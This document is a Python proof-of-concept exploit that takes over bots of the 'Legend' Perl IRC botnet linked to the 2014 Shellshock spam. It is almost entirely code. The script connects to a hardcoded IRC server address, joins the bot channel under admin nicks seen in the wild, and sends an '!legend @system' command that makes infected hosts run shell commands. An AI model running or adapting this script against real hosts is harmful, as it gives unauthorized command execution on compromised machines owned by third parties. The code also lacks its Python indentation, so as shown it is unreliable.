Legend Perl IRC Bot Remote Code Execution

`#  
# legend_rce.py  
# Legend Perl IRC Bot Remote Code Execution PoC  
# author: Jay Turla ( @shipcod3 )  
# description: This is a RCE PoC for Legend Bot which has been used in the Shellshock spam October 2014.   
# reference: http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html  
# greetz to ROOTCON (rootcon.org) goons  
#  
  
import socket  
import sys  
  
def usage():  
print("USAGE: python legend_rce.py nick")  
print("Sample nicks found in the wild: god, ARZ, Zax, HackTech, TheChozen")  
  
def main(argv):  
  
if len(argv) < 2:  
return usage()  
  
#irc server connection settings  
botnick = sys.argv[1] #admin payload for taking over the Legend Bot  
server = "80.246.50.71" #irc server  
channel = "#Apache" #channel where the bot is located  
  
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket  
print "connecting to:"+server  
irc.connect((server, 2015)) #connects to the server, you can change the port by changing 2015 for example :)  
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :legend.rocks\n") #user authentication  
irc.send("NICK "+ botnick +"\n") #sets nick  
irc.send("JOIN "+ channel +"\n") #join the chan  
irc.send("PRIVMSG "+channel+" :!legend @system 'uname -a' \n") #send the payload to the bot  
  
while 1: #puts it in a loop  
text=irc.recv(2040) #receive the text  
print text #print text to console  
  
if text.find('PING') != -1: #check if 'PING' is found  
irc.send('PONG ' + text.split() [1] + '\r\n') #returns 'PONG' back to the server (prevents pinging out!)  
if text.find('!quit') != -1: #quit the Bot  
irc.send ("QUIT\r\n")   
sys.exit()  
if text.find('Linux') != -1:   
irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")  
irc.send ("QUIT\r\n")  
sys.exit()  
  
if __name__ == "__main__":  
main(sys.argv)  
`